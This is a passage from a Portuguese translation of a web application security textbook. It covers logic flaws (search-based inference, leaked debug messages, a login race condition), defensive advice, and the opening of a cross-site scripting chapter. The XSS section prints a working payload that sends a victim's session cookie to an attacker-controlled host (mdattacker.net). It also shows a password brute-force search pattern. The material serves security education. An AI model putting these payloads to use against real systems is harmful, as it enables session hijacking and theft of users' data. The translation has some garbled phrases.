OBSERVAÇÃO Os filtros de scripts entre sites frequentemente removem, de forma inadequada, todos os dados que ocorrem entre pares de tags HTML, como **<tag1>aaaaa</tag1>**. Esses filtros geralmente são vulneráveis a esse tipo de ataque.

Exemplo 10: Abuso de uma função de pesquisa

Os autores encontraram essa falha lógica em um aplicativo que fornecia acesso baseado em assinatura a notícias e informações financeiras. A mesma vulnerabilidade foi encontrada posteriormente em dois aplicativos completamente não relacionados, ilustrando a natureza sutil e generalizada de muitas falhas de lógica.

A funcionalidade

O aplicativo fornecia acesso a um enorme arquivo de informações históricas e atuais, incluindo relatórios e contas da empresa, comunicados à imprensa, análises de mercado e similares. A maioria dessas informações era acessível somente a assinantes pagantes.

O aplicativo oferecia uma função de pesquisa avançada e refinada que todos os usuários podiam acessar. Quando um usuário anônimo realizava uma consulta, a função de pesquisa retornava links para todos os documentos que correspondiam à consulta. No entanto, era necessário que o usuário se inscrevesse para recuperar qualquer um dos documentos protegidos reais que sua consulta retornava. Os proprietários do aplicativo consideravam esse comportamento como uma tática de marketing útil.

A suposição

O designer do aplicativo presumiu que os usuários não poderiam usar a função de pesquisa para extrair informações úteis sem pagar por elas. Os títulos dos documentos listados nos resultados da pesquisa eram geralmente enigmáticos, como "Resultados anuais de 2010", "Comunicado à imprensa 08-03-2011" e assim por diante.

O ataque

Como a função de pesquisa indicava quantos documentos correspondiam a uma determinada consulta, um usuário astuto poderia emitir um grande número de consultas e usar a inferência para extrair informações da função de pesquisa que normalmente precisariam ser pagas. Por exemplo, as consultas a seguir poderiam ser usadas para se concentrar no conteúdo de um documento protegido individual:

```
consultoria wahh
>> 276 correspondências
Fusão "Press Release 08-03-2011" da wahh consulting
>> 0 correspondências
wahh consulting "Press Release 08-03-2011" emissão de ações
>> 0 correspondências
dividendo de "Press Release 08-03-2011" da wahh consulting
>> 0 correspondências
Aquisição do "Press Release 08-03-2011" da wahh consulting
>> 1 correspondência
wahh consulting "Press Release 08-03-2011" takeover haxors inc
>> 0 correspondências
wahh consulting "Press Release 08-03-2011" aquisição da uberleet ltd
>> 0 correspondências
wahh consulting "Press Release 08-03-2011" script de aquisição da kiddy corp
>> 0 correspondências
wahh consulting "Press Release 08-03-2011" takeover ngs
>> 1 correspondência
```

```
wahh consulting "Press Release 08-03-2011" anunciada a aquisição da ngs
>> 0 correspondências
wahh consulting "Press Release 08-03-2011" takeover ngs cancelado
>> 0 correspondências
wahh consulting "Press Release 08-03-2011" takeover ngs completed
>> 1 correspondência
```

Embora o usuário não possa visualizar o documento em si, com imagens suficientes e o uso de solicitações com script, ele pode ser capaz de construir uma compreensão bastante precisa de seu conteúdo.

DICA Em determinadas situações, a capacidade de extrair informações por meio de uma função de pesquisa dessa forma pode ser essencial para a segurança do próprio aplicativo, revelando efetivamente detalhes de funções administrativas, senhas e tecnologias em uso.

DICA Essa técnica provou ser um ataque eficaz contra softwares internos de gerenciamento de documentos. Os autores usaram essa técnica para aplicar força bruta a uma senha-chave de um arquivo de configuração que estava armazenado em um wiki. Como o wiki retornava um resultado se a string de pesquisa aparecesse em qualquer lugar da página (em vez de corresponder a palavras inteiras), foi possível aplicar força bruta à senha letra por letra, pesquisando o seguinte:

```
Senha=A Senha=B
Senha=BA
...
```

Exemplo 11: Como extrair mensagens de depuração

Os autores encontraram essa falha lógica em um aplicativo da Web usado por uma empresa de serviços financeiros.

A funcionalidade

O aplicativo foi implantado recentemente. Como muitos softwares novos, ele ainda continha vários bugs relacionados à funcionalidade. De forma intermitente, várias operações falhavam de maneira imprevisível e os usuários recebiam uma mensagem de erro. Para facilitar a investigação dos erros, os desenvolvedores decidiram incluir informações detalhadas, informações detalhadas nessas mensagens, incluindo os seguintes detalhes:

- A identidade do usuário
- O token da sessão atual
- O URL que está sendo acessado
- Todos os parâmetros fornecidos com a solicitação que gerou o erro

A geração dessas mensagens se mostrou útil quando a equipe do help desk tentou investigar e se recuperar de falhas no sistema. Elas também estavam ajudando a resolver os bugs de funcionalidade restantes.

A suposição

Apesar dos avisos habituais dos consultores de segurança de que mensagens de depuração detalhadas desse tipo poderiam ser usadas indevidamente por um invasor, os desenvolvedores argumentaram que não estavam abrindo nenhuma vulnerabilidade de segurança. O usuário poderia obter prontamente todas as informações contidas na mensagem de depuração inspecionando as solicitações e respostas processadas pelo navegador. As mensagens não incluíam nenhum detalhe sobre a falha real, como rastreamentos de pilha, portanto, possivelmente, não eram úteis para formular um ataque contra o aplicativo.

O ataque

Apesar de seu raciocínio sobre o conteúdo das mensagens de depuração, a suposição dos desenvolvedores era falha devido a erros cometidos na implementação da criação de mensagens de depuração.

Quando ocorria um erro, um componente do aplicativo reunia todas as informações necessárias e as armazenava. O usuário recebia um redirecionamento HTTP para um URL que exibia essas informações armazenadas. O problema era que o armazenamento de informações de depuração do aplicativo e o acesso do usuário à mensagem de erro não eram baseados em sessões. Em vez disso, as informações de depuração eram armazenadas em um contêiner estático e o URL da mensagem de erro sempre exibia as informações que foram colocadas pela última vez nesse contêiner. Os desenvolvedores presumiram que os usuários que seguiam o redirecionamento veriam apenas as informações de depuração relacionadas ao erro. Na verdade, nessa situação, os usuários comuns ocasionalmente receberiam as informações de depuração relacionadas ao erro de um usuário diferente, porque os dois erros ocorreram quase simultaneamente. Mas, além das questões sobre segurança de thread (veja o próximo exemplo), isso não era simplesmente uma condição de corrida. Um invasor que descobrisse como o mecanismo de erro funcionava poderia simplesmente pesquisar o URL da mensagem repetidamente e registrar os resultados sempre que eles fossem alterados. Durante um período de algumas horas, esse registro conteria dados confidenciais sobre números. usuários de aplicativos:

- Um conjunto de nomes de usuário que poderia ser usado em um ataque de adivinhação de senha
- Um conjunto de tokens de sessão que pode ser usado para sequestrar sessões
- Um conjunto de entradas fornecidas pelo usuário, que pode conter senhas e outros itens confidenciais

O mecanismo de erro, portanto, representava uma ameaça crítica à segurança. Como os usuários administrativos às vezes recebiam essas mensagens de erro detalhadas, um

Um invasor que monitorasse as mensagens de erro logo obteria informações suficientes para comprometer todo o aplicativo.

ETAPAS DO HACK

1. Para detectar uma falha desse tipo, primeiro catalogue todos os eventos e condições anômalos que podem ser gerados e que envolvem informações interessantes específicas do usuário que são retornadas ao navegador de forma incomum, como uma mensagem de erro de depuração.
2. Usando o aplicativo como dois usuários em paralelo, projete sistematicamente cada condição usando um ou ambos os usuários e determine se o outro usuário é afetado em cada caso.

Exemplo 12: Correndo contra o login

Essa falha lógica afetou vários aplicativos importantes no passado recente.

A funcionalidade

O aplicativo implementou um processo de login robusto e de vários estágios, no qual os usuários eram obrigados a fornecer várias credenciais diferentes para obter acesso.

A suposição

O mecanismo de autenticação havia sido submetido a várias revisões de projeto e testes de penetração. Os proprietários estavam confiantes de que não existiam meios viáveis de atacar o mecanismo para obter acesso não autorizado.

O ataque

Na verdade, o mecanismo de autenticação continha uma falha sutil. Ocasionalmente, quando um cliente se conectava, ele obtinha acesso à conta de um usuário completamente diferente, o que lhe permitia visualizar todos os detalhes financeiros desse usuário e até mesmo fazer pagamentos da conta do outro usuário. Inicialmente, o comportamento do aplicativo parecia ser aleatório: o usuário não havia realizado nenhuma ação incomum para obter acesso não autorizado, e a anomalia não se repetiu nos logins subsequentes. Após algumas investigações, o banco descobriu que o erro ocorria quando dois usuários diferentes faziam login no aplicativo exatamente no mesmo momento. O erro não ocorria em todas essas ocasiões - apenas em um subconjunto delas. A causa principal era que o aplicativo estava armazenando brevemente um identificador de chave sobre cada usuário recém-autenticado em uma variável estática (não-sessão). Após ser gravado, o valor dessa variável era lido novamente um instante depois. Se um thread diferente (processando outro login) tivesse gravado na variável durante esse instante, o usuário anterior seria direcionado para uma sessão autenticada pertencente ao usuário subsequente.

A vulnerabilidade surgiu do mesmo tipo de erro que o exemplo da mensagem de erro descrito anteriormente: o aplicativo estava usando o armazenamento estático para manter informações que deveriam ter sido armazenadas por thread ou por sessão. No entanto, o exemplo atual é muito mais sutil de detectar e é mais difícil de explorar porque não pode ser reproduzido de forma confiável.

As falhas desse tipo são conhecidas como "condições de corrida" porque envolvem uma vulnerabilidade que surge por um breve período de tempo em determinadas circunstâncias específicas. Como a vulnerabilidade existe apenas por um curto período de tempo, um invasor "corre" para explorá-la antes que o aplicativo a feche novamente. Nos casos em que o invasor é local ao aplicativo, geralmente é possível projetar as circunstâncias exatas em que a condição de corrida surge e explorar a vulnerabilidade de forma confiável durante a janela disponível. Quando o invasor é remoto ao aplicativo, isso normalmente é muito mais difícil de conseguir.

Um atacante remoto que entendesse a natureza da vulnerabilidade poderia ter concebido um ataque para explorá-la usando um script para fazer login continuamente e verificar os detalhes da conta acessada. Mas a pequena janela durante a qual a vulnerabilidade poderia ser explorada significava que seria necessário um grande número de solicitações.

Não é de surpreender que a condição de corrida não tenha sido descoberta durante os testes de penetração normais. As condições em que ela surgiu surgiram somente quando o aplicativo ganhou uma base de usuários grande o suficiente para que ocorressem anomalias aleatórias, que foram relatadas pelos clientes. No entanto, uma análise detalhada do código da lógica de autenticação e gerenciamento de sessão teria identificado o problema.

ETAPAS DO HACK

A realização de testes remotos de caixa preta para problemas sutis de segurança de thread desse tipo não é simples. Ele deve ser considerado um empreendimento especializado, provavelmente necessário apenas nos aplicativos mais críticos para a segurança.

1. Direcione itens selecionados da funcionalidade principal, como mecanismos de login, funções de alteração de senha e processos de transferência de fundos.
2. Para cada função testada, identifique uma única solicitação, ou um pequeno número de solicitações, que um determinado usuário possa usar para executar uma única ação. Encontre também o meio mais simples de confirmar o resultado da ação, como verificar se o login de um determinado usuário resultou em acesso às informações da conta dessa pessoa.
3. Usando várias máquinas de alta especificação, acessando o aplicativo de diferentes locais de rede, crie um script de ataque para executar a mesma ação repetidamente em nome de vários usuários diferentes. Confirme se cada ação tem o resultado esperado.
4. Esteja preparado para um grande volume de falsos positivos. Dependendo da escala da infraestrutura de suporte do aplicativo, essa atividade pode muito bem equivaler a um teste de carga da instalação. Podem ocorrer anomalias por motivos que não têm nada a ver com segurança.

Evitando falhas de lógica

Assim como não há uma assinatura exclusiva pela qual as falhas lógicas em aplicativos Web possam ser identificadas, também não há uma bala de prata que o protegerá. Por exemplo, não há equivalente ao conselho direto de usar uma alternativa segura para uma API perigosa. No entanto, uma série de boas práticas pode ser aplicada para reduzir significativamente o risco de aparecimento de falhas lógicas em seus aplicativos:

- Certifique-se de que todos os aspectos do design do aplicativo estejam claramente documentados com detalhes suficientes para que uma pessoa de fora entenda todas as suposições feitas pelo designer. Todas essas suposições devem ser registradas explicitamente na documentação do projeto.
- Exigir que todo o código-fonte seja claramente comentado para incluir as seguintes informações:
  - A finalidade e os usos pretendidos de cada componente do código.
  - As suposições feitas por cada componente sobre qualquer coisa que esteja fora de seu controle direto.
  - Referências a todos os códigos de cliente que usam o componente. Uma documentação clara nesse sentido poderia ter evitado a falha lógica na funcionalidade de registro on-line. (Observe que "cliente" aqui não se refere ao usuário final da relação cliente/servidor, mas a outro código para o qual o componente que está sendo considerado é uma dependência imediata).
- Durante as revisões do design do aplicativo com foco na segurança, reflita sobre todas as suposições feitas no design e tente imaginar circunstâncias em que cada suposição possa ser violada. Concentre-se em todas as condições assumidas que possam estar sob o controle dos usuários do aplicativo.
- Durante as revisões de código com foco em segurança, pense lateralmente em duas áreas principais: as maneiras pelas quais o aplicativo lidará com o comportamento inesperado do usuário e os possíveis efeitos colaterais de quaisquer dependências e interoperações entre diferentes componentes de código e diferentes funções do aplicativo.

Em relação aos exemplos específicos de falhas lógicas que descrevemos, várias lições individuais podem ser aprendidas:

- Esteja sempre ciente de que os usuários controlam todos os aspectos de cada solicitação (consulte o Capítulo 1). Eles podem acessar funções de vários estágios em qualquer sequência. Eles podem enviar parâmetros que não foram solicitados pelo aplicativo. Eles podem omitir determinados parâmetros e não apenas interferir nos valores dos parâmetros.
- Conduza todas as decisões relativas à identidade e ao status de um usuário a partir de sua sessão (consulte o Capítulo 8). Não faça nenhuma suposição sobre os privilégios do usuário com base em qualquer outro recurso da solicitação,

inclusive o fato de ela ocorrer.

- Ao implementar funções que atualizam os dados da sessão com base na entrada recebida do usuário ou nas ações executadas pelo usuário, considere cuidadosamente qualquer impacto que os dados atualizados possam ter sobre outras funcionalidades do aplicativo. Esteja ciente de que efeitos colaterais inesperados podem ocorrer em funcionalidades totalmente não relacionadas, escritas por um programador diferente ou até mesmo por uma equipe de desenvolvimento diferente.
- Se uma função de pesquisa for capaz de indexar dados confidenciais que alguns usuários não estão autorizados a acessar, certifique-se de que a função não forneça nenhum meio para que esses usuários deduzam informações com base nos resultados da pesquisa. Se for o caso, mantenha vários índices de pesquisa com base em diferentes níveis de privilégio do usuário ou realize pesquisas dinâmicas em repositórios de informações com os privilégios do usuário solicitante.
- Seja extremamente cauteloso ao implementar qualquer funcionalidade que permita a qualquer usuário excluir itens de uma trilha de auditoria. Além disso, considere o possível impacto de um usuário com privilégios elevados criar outro usuário com o mesmo nível de privilégio em aplicativos altamente auditados e modelos de autorização dupla.
- Ao realizar verificações com base em limites de negócios e limites numéricos, execute uma canonização e validação de dados rigorosas em todas as entradas do usuário antes de processá-las. Se números negativos não forem esperados, rejeite explicitamente as solicitações que os contenham.
- Ao implementar descontos com base em volumes de pedidos, certifique-se de que os pedidos sejam finalizados antes de aplicar o desconto.
- Ao escapar dos dados fornecidos pelo usuário antes de passá-los para um componente de aplicativo potencialmente vulnerável, certifique-se sempre de escapar do próprio caractere de escape, ou todo o mecanismo de validação poderá ser quebrado.
- Sempre use o armazenamento apropriado para manter todos os dados relacionados a um usuário individual, seja na sessão ou no perfil do usuário.

Resumo

Atacar a lógica de um aplicativo envolve uma mistura de sondagem sistemática e pensamento lateral. Descrevemos várias verificações importantes que você deve sempre realizar para testar o comportamento do aplicativo em resposta a entradas inesperadas. Isso inclui a remoção de parâmetros das solicitações, o uso de navegação forçada para acessar funções fora de sequência e o envio de parâmetros para diferentes locais dentro do aplicativo. Muitas vezes, a forma como um aplicativo responde a essas ações aponta para alguma suposição defeituosa que pode ser violada, com efeitos maliciosos. Além desses testes básicos, o desafio mais importante ao investigar falhas de lógica é tentar entrar na mente dos desenvolvedores. Você precisa entender o que eles estavam tentando alcançar,

quais suposições provavelmente fizeram,

quais atalhos eles provavelmente usaram e quais erros podem ter cometido. Imagine que você estivesse trabalhando com um prazo apertado, preocupando-se principalmente com a funcionalidade e não com a segurança, tentando adicionar uma nova função a uma base de código existente ou usando APIs mal documentadas escritas por outra pessoa. Nessa situação, o que você erraria e como isso poderia ser explorado?

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. O que é navegação forçada e que tipos de vulnerabilidades ela pode ser usada para identificar?
2. Um aplicativo aplica vários filtros globais na entrada do usuário, projetados para evitar diferentes categorias de ataque. Para se defender contra injeção de SQL, ele duplica as aspas simples que aparecem na entrada do usuário. Para evitar ataques de estouro de buffer contra alguns componentes de código nativo, ele trunca todos os itens muito longos em um limite razoável.

   O que pode dar errado com esses filtros?
3. Que medidas você poderia tomar para verificar se há condições de falha na abertura de uma função de login? (Descreva o máximo de testes diferentes que você puder imaginar).
4. Um aplicativo bancário implementa um mecanismo de login de vários estágios que deve ser altamente robusto. No primeiro estágio, o usuário digita um nome de usuário e uma senha. No segundo estágio, o usuário insere o valor alterado em um token físico que possui, e o nome de usuário original é reenviado em um campo de formulário oculto.

   Que falha lógica você deve verificar imediatamente?
5. Você está sondando um aplicativo em busca de categorias comuns de vulnerabilidade, enviando entradas criadas. Frequentemente, o aplicativo retorna mensagens de erro detalhadas contendo informações de depuração. Ocasionalmente, essas mensagens estão relacionadas a erros gerados por outros usuários. Quando isso acontece, você não consegue reproduzir o comportamento uma segunda vez. Que falha lógica isso pode indicar e como você deve proceder?

CAPÍTULO

12

Atacando usuários: Scripting entre sites

Todos os ataques que consideramos até agora envolvem o direcionamento direto para o aplicativo do lado do servidor. Muitos desses ataques, é claro, afetam outros usuários, como um ataque de injeção de SQL que rouba os dados de outros usuários. Mas a metodologia essencial do invasor era interagir com o servidor de maneiras inesperadas para executar ações não autorizadas e acessar dados não autorizados.

Os ataques descritos neste capítulo e no próximo estão em uma categoria diferente, pois o alvo principal do invasor são os outros usuários do aplicativo. Todas as vulnerabilidades relevantes ainda existem no próprio aplicativo. No entanto, o invasor aproveita algum aspecto do comportamento do aplicativo para realizar ações mal-intencionadas contra outro usuário final. Essas ações podem resultar em alguns dos mesmos efeitos que já examinamos, como sequestro de sessão, ações não autorizadas e divulgação de dados pessoais. Elas também podem ter outros resultados indesejáveis, como o registro de pressionamentos de teclas ou a execução de comandos arbitrários nos computadores dos usuários.

Outras áreas de segurança de software testemunharam uma mudança gradual no foco dos ataques do lado do servidor para o lado do cliente nos últimos anos. Por exemplo, a Microsoft costumava anunciar com frequência vulnerabilidades graves de segurança em seus produtos de servidor. Embora várias falhas no lado do cliente também tenham sido divulgadas, elas receberam muito menos atenção porque os servidores eram um alvo muito mais atraente para a maioria dos invasores. No decorrer de apenas alguns anos, no início do século XXI, essa situação mudou significativamente. No momento em que este artigo foi escrito,

Nenhuma vulnerabilidade crítica de segurança foi anunciada publicamente no servidor da Web IIS da Microsoft da versão 6 em diante. Entretanto, desde que esse produto foi lançado pela primeira vez, um grande número de falhas foi divulgado no navegador Internet Explorer da Microsoft. Com a evolução da conscientização geral sobre as ameaças à segurança, a linha de frente da batalha entre os proprietários de aplicativos e os hackers passou do servidor para o cliente.

Embora o desenvolvimento da segurança de aplicativos Web tenha ficado alguns anos para trás, a mesma tendência pode ser identificada. No final da década de 1990, a maioria dos aplicativos na Internet estava repleta de falhas críticas, como injeção de comandos, que podiam ser facilmente encontradas e exploradas por qualquer invasor com um pouco de conhecimento. Embora muitas dessas vulnerabilidades ainda existam hoje, elas estão lentamente se tornando menos difundidas e mais difíceis de serem exploradas. Enquanto isso, até mesmo os aplicativos mais críticos para a segurança ainda contêm muitas falhas facilmente detectáveis no lado do cliente. Além disso, embora o lado do servidor de um aplicativo possa se comportar de maneira limitada e controlável, os clientes podem usar várias tecnologias e versões diferentes de navegadores, abrindo uma ampla gama de vetores de ataque potencialmente bem-sucedidos.

Um dos principais focos de pesquisa na última década tem sido as vulnerabilidades do lado do cliente, com defeitos como fixação de sessão e falsificação de solicitação entre sites sendo discutidos pela primeira vez muitos anos depois que a maioria das categorias de bugs do lado do servidor era amplamente conhecida. O foco da mídia na segurança da Web está predominantemente preocupado com ataques do lado do cliente, com termos como spyware, phishing e cavalos de Troia sendo moeda comum para muitos jornalistas que nunca ouviram falar de injeção de SQL ou path traversal. E os ataques contra usuários de aplicativos da Web são um negócio criminoso cada vez mais lucrativo. Por que se dar ao trabalho de invadir um banco na Internet se, em vez disso, é possível comprometer 1% de seus 10 milhões de clientes em um ataque relativamente rudimentar que exige pouca habilidade ou elegância?

Os ataques contra outros usuários de aplicativos têm muitas formas e manifestam uma variedade de sutilezas e nuances que são frequentemente ignoradas. Em geral, eles também são menos bem compreendidos do que os ataques primários do lado do servidor, com diferentes falhas sendo confundidas ou negligenciadas até mesmo por alguns testadores de penetração experientes. Descreveremos todas as diferentes vulnerabilidades que são comumente encontradas e explicaremos as etapas práticas que você precisa seguir para identificar e explorar cada uma delas.

Este capítulo se concentra em XSS (cross-site scripting). Essa categoria de vulnerabilidade é o padrinho dos ataques contra outros usuários. É, de certa forma, a vulnerabilidade de aplicativo da Web mais prevalente encontrada na natureza. Ela afeta a grande maioria dos aplicativos ativos, inclusive alguns dos aplicativos mais críticos para a segurança na Internet, como os usados por bancos on-line. O próximo capítulo examina um grande número de outros tipos de ataques contra usuários, alguns dos quais têm semelhanças importantes com o XSS.

MITO COMUM

"Os usuários são comprometidos porque não têm consciência da segurança".

Embora isso seja parcialmente verdadeiro, alguns ataques contra usuários de aplicativos podem ser bem-sucedidos independentemente das precauções de segurança dos usuários. Os ataques XSS armazenados podem comprometer os usuários mais preocupados com a segurança sem nenhuma interação do usuário. O Capítulo 13 apresenta muitos outros métodos pelos quais os usuários preocupados com a segurança podem ser comprometidos sem o seu conhecimento.

Quando o XSS começou a se tornar amplamente conhecido na comunidade de segurança de aplicativos da Web, alguns testadores de penetração profissionais estavam inclinados a considerar o XSS como uma vulnerabilidade "fraca". Isso se deveu em parte à sua prevalência fenomenal na Web e também ao fato de que o XSS costuma ser de uso menos direto para um hacker solitário que visa a um aplicativo, em comparação com muitas vulnerabilidades, como a injeção de comandos no lado do servidor. Com o tempo, essa percepção mudou e, atualmente, o XSS é frequentemente citado como a principal ameaça à segurança na Web. À medida que a pesquisa sobre ataques do lado do cliente se desenvolveu, a discussão se concentrou em vários outros ataques que são, no mínimo, tão complicados de explorar quanto qualquer falha de XSS. E ocorreram vários ataques reais nos quais as vulnerabilidades de XSS foram usadas para comprometer organizações de alto nível.

O XSS geralmente representa um ponto fraco crítico de segurança em um aplicativo. Muitas vezes, ele pode ser combinado com outras vulnerabilidades para obter um efeito devastador. Em algumas situações, um ataque XSS pode se transformar em um vírus ou em um worm que se autopropaga. Ataques desse tipo certamente não são fáceis.

MITO COMUM

"Você não pode ser proprietário de um aplicativo da Web por meio de XSS."

Os autores já se apropriaram de vários aplicativos usando apenas ataques de XSS. N a situação certa, uma vulnerabilidade XSS explorada com habilidade pode levar diretamente a um comprometimento completo do aplicativo. Mostraremos a você como.

Variedades de XSS

As vulnerabilidades de XSS ocorrem de várias formas e podem ser divididas em três variedades: refletidas, armazenadas e baseadas em DOM. Embora tenham vários recursos em comum, elas também têm diferenças importantes na forma como podem ser identificadas e exploradas. Examinaremos cada variedade de XSS individualmente.

Vulnerabilidades XSS detectadas

Um exemplo muito comum de XSS ocorre quando um aplicativo emprega uma página dinâmica para exibir mensagens de erro aos usuários. Normalmente, a página recebe um parâmetro que contém o texto da mensagem e simplesmente renderiza esse texto de volta para o usuário em sua resposta. Esse tipo de mecanismo é conveniente para os desenvolvedores, pois permite que eles invoquem uma página de erro personalizada de qualquer lugar do aplicativo sem a necessidade de codificar mensagens individuais na própria página de erro.

Por exemplo, considere o seguinte URL, que retorna a mensagem de erro mostrada na Figura 12-1:

```
http://mdsec.net/error/5/Error.ashx?message=Sorry%2c+ocorreu+um+erro
```

Figura 12-1: Uma mensagem de erro gerada dinamicamente

Observando a fonte HTML da página retornada, podemos ver que o aplicativo simplesmente copia o valor do parâmetro `message` no URL e o insere no modelo da página de erro no local apropriado:

```
<p>Desculpe, ocorreu um erro.</p>
```

Esse comportamento de pegar a entrada fornecida pelo usuário e inseri-la no HTML da resposta do servidor é uma das assinaturas das vulnerabilidades de XSS refletidas e, se nenhuma filtragem ou sanitização estiver sendo realizada, o aplicativo certamente estará vulnerável. Vamos ver como.

O URL a seguir foi criado para substituir a mensagem de erro por um trecho de JavaScript que gera uma caixa de diálogo pop-up:

```
http://mdsec.net/error/5/Error.ashx?message=<script>alert(1)</script>
```

A solicitação desse URL gera uma página HTML que contém o seguinte no lugar da mensagem original:

```
<p><script>alert(1);</script></p>
```

Com certeza, quando a página é renderizada no navegador do usuário, a mensagem pop-up é exibida, conforme mostrado na Figura 12-2.

Figura 12-2: Uma exploração de XSS de prova de conceito

A execução desse teste simples serve para verificar dois aspectos importantes. Primeiro, o conteúdo do parâmetro `message` pode ser substituído por dados arbitrários que são retornados ao navegador. Segundo, qualquer que seja o processamento que o aplicativo no lado do servidor esteja realizando nesses dados (se houver), ele é insuficiente para nos impedir de fornecer código JavaScript que é executado quando a página é exibida no navegador.

EXPERIMENTE!

```
http://mdsec.net/error/5/
```

OBSERVAÇÃO Se você tentar exemplos como esse no Internet Explorer, o pop-up poderá não ser exibido e o navegador poderá mostrar a mensagem "O Internet Explorer modificou esta página para ajudar a evitar scripts entre sites". Isso ocorre porque as versões recentes do Internet Explorer contêm um mecanismo interno criado para proteger os usuários contra vulnerabilidades XSS refletidas. Se você quiser testar esses exemplos,
Você pode tentar usar um navegador diferente que não utilize essa proteção ou desativar o filtro XSS acessando Ferramentas ➢ Opções da Internet ➢ Segurança ➢ Personalizar
Nível. Em Enable XSS filter (Ativar filtro XSS), selecione Disable (Desativar). Mais adiante neste capítulo, descreveremos como o filtro XSS funciona e como ele pode ser contornado.

Esse tipo de bug de XSS simples é responsável por aproximadamente 75% das vulnerabilidades de XSS que existem em aplicativos da Web do mundo real. Ele é chamado de XSS *refletido* porque a exploração da vulnerabilidade envolve a criação de uma solicitação contendo JavaScript incorporado que é refletido para qualquer usuário que fizer a solicitação. A carga útil do ataque é entregue e executada por meio de uma única solicitação e resposta. Por esse motivo, às

vezes também é chamado de XSS *de primeira ordem*.

Explorando a vulnerabilidade

Como você verá, as vulnerabilidades de XSS podem ser exploradas de muitas maneiras diferentes para atacar outros usuários de um aplicativo. Um dos ataques mais simples, e o mais comumente considerado para explicar o possível significado das falhas de XSS, resulta na captura pelo invasor do token de sessão de um usuário autenticado. O sequestro da sessão do usuário dá ao invasor acesso a todos os dados e funcionalidades aos quais o usuário está autorizado (consulte o Capítulo 7).

As etapas envolvidas nesse ataque estão ilustradas na Figura 12-3.

Figura 12-3: As etapas envolvidas em um ataque XSS refletido

1. O usuário faz login no aplicativo normalmente e recebe um cookie que contém um token de sessão:

   ```
   Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
   ```

2. Por algum meio (descrito em detalhes posteriormente), o invasor alimenta o usuário com o seguinte URL:

   ```
   http://mdsec.net/error/5/Error.ashx?message=<script>var+i=new+Image
   ;+i.src="http://mdattacker.net/"%2bdocument.cookie;</script>
   ```

   Como no exemplo anterior, que gerou uma mensagem de diálogo, esse URL contém JavaScript incorporado. No entanto, a carga útil do ataque nesse caso é mais maliciosa.

3. O usuário solicita do aplicativo a URL fornecida a ele pelo invasor.

4. O servidor responde à solicitação do usuário. Como resultado da vulnerabilidade XSS, a resposta contém o JavaScript criado pelo invasor.
5. O navegador do usuário recebe o JavaScript do invasor e o executa da mesma forma que qualquer outro código recebido do aplicativo.
6. O JavaScript malicioso criado pelo invasor é:

```
var i=new Image; i.src="http://mdattacker.net/"+document.cookie;
```

   Esse código faz com que o navegador do usuário faça uma solicitação para `mdattacker.net`, que é um domínio de propriedade do invasor. A solicitação contém o token de sessão atual do usuário para o aplicativo:

```
GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1
Host: mdattacker.net
```

7. O invasor monitora as solicitações ao `mdattacker.net` e recebe a solicitação do usuário. Ele usa o token capturado para sequestrar a sessão do usuário, obtendo acesso às informações pessoais do usuário e executando ações arbitrárias "como" o usuário.

OBSERVAÇÃO Como você viu no Capítulo 6, alguns aplicativos armazenam um cookie persistente que efetivamente reautentica o usuário em cada visita, por exemplo, para implementar uma função "lembrar de mim". Nessa situação, a etapa 1 do processo anterior é desnecessária. O ataque será bem-sucedido mesmo quando o usuário-alvo não estiver ativamente conectado ou usando o aplicativo. Por esse motivo, os aplicativos que usam cookies dessa forma ficam mais expostos em termos do impacto de quaisquer falhas de XSS que contenham.

Depois de ler tudo isso, você pode ser perdoado por se perguntar por que, se o invasor pode induzir o usuário a visitar um URL de sua escolha, ele se incomoda com o rigor de transmitir seu JavaScript malicioso por meio do bug XSS no aplicativo vulnerável. Por que ele simplesmente não hospeda um script mal-intencionado no site `mdattacker.net` e alimenta o usuário com um link direto para esse script? Esse script não seria executado da mesma forma que no exemplo descrito?

Para entender por que o invasor precisa explorar a vulnerabilidade XSS, lembre-se da política de mesma origem descrita no Capítulo 3. Os navegadores separam o conteúdo recebido de diferentes origens (domínios) na tentativa de evitar que domínios diferentes interfiram uns nos outros dentro do navegador do usuário. O objetivo do invasor não é simplesmente executar um script arbitrário, mas capturar o token de sessão do usuário. Os navegadores não permitem que qualquer script antigo acesse os cookies de um domínio; caso contrário, o sequestro de sessão seria fácil. Em vez disso, os cookies podem ser acessados somente pelo domínio que os emitiu. Eles são enviados em solicitações HTTP apenas para o domínio emissor e podem ser acessados por meio de

JavaScript contido ou carregado por uma página retornada somente por esse domínio. Portanto, se um script residente em `mdattacker.net` consultar `document.cookie`, ele não obterá os cookies emitidos por `mdsec.net`, e o ataque de sequestro falhará. O motivo pelo qual o ataque que explora a vulnerabilidade XSS é bem-sucedido é que, no que diz respeito ao navegador do usuário, o JavaScript mal-intencionado do invasor *foi* enviado a ele pelo `mdsec.net`. Quando o usuário solicita o URL do invasor, o navegador faz uma solicitação para `http://mdsec.net/error/5/Error.ashx` , e o aplicativo retorna uma página contendo algum JavaScript. Como acontece com qualquer JavaScript recebido do `mdsec.net`, o navegador executa esse script dentro do contexto de segurança do relacionamento do usuário com o `mdsec.net`. É por isso que o script do invasor, embora na verdade tenha origem em outro lugar, pode obter acesso aos cookies emitidos pelo `mdsec.net`. É também por isso que a própria vulnerabilidade se tornou conhecido como *cross-site scripting*.

Vulnerabilidades de XSS armazenadas

Uma categoria diferente de vulnerabilidade XSS é geralmente chamada de scripting *armazenado* entre sites. Essa versão surge quando os dados enviados por um usuário são armazenados no aplicativo (normalmente em um banco de dados back-end) e, em seguida, são exibidos para outros usuários sem serem filtrados ou higienizados adequadamente.

As vulnerabilidades XSS armazenadas são comuns em aplicativos que oferecem suporte à interação entre usuários finais ou em que a equipe administrativa acessa registros e dados de usuários no mesmo aplicativo. Por exemplo, considere um aplicativo de leilão que permite que os compradores publiquem perguntas sobre itens específicos e que os vendedores publiquem respostas. Se um usuário puder publicar uma pergunta que contenha JavaScript incorporado e o aplicativo não filtrar ou higienizar esse conteúdo, um invasor poderá publicar uma pergunta criada que faça com que scripts arbitrários sejam executados no navegador de qualquer pessoa que visualize a pergunta, incluindo o vendedor e outros possíveis compradores. Nesse contexto, o invasor poderia fazer com que usuários inconscientes dessem lances em um item sem a intenção de fazê-lo, ou fazer com que um vendedor fechasse um leilão e aceitasse o lance baixo do invasor para um item.

